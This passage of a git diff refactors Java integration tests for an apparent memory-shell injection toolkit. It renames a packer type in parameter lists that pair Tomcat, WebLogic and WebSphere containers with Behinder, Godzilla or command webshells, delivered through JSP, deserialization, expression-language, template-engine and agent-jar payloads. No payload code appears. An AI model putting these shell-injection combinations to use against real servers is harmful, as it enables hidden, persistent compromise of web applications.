arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } @@ -83,7 +83,7 @@ public class Tomcat7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 5302e5dc..c5d1a5c5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,53 +43,53 @@ public class Tomcat8ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } @@ -101,7 +101,7 @@ public class Tomcat8ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index c56fe3f9..0a2f71f6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,36 +41,36 @@ public class Tomcat9ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } @@ -83,7 +83,7 @@ public class Tomcat9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index bbf7a26a..12f9605d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebLogicShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,17 +41,17 @@ public class WebLogic1036ContainerTest { static Stream casesProvider() { return Stream.of( // arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -63,7 +63,7 @@ public class WebLogic1036ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 3b2164f2..0960d9ad 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebLogicShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,18 +42,18 @@ public class WebLogic12214ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -65,7 +65,7 @@ public class WebLogic12214ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index dab9af80..f0e25bb9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebLogicShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,18 +42,18 @@ public class WebLogic14110ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -65,7 +65,7 @@ public class WebLogic14110ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java index 1dfc69bd..fc427184 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebSphereShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,18 +45,18 @@ public class WebSphere700ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, 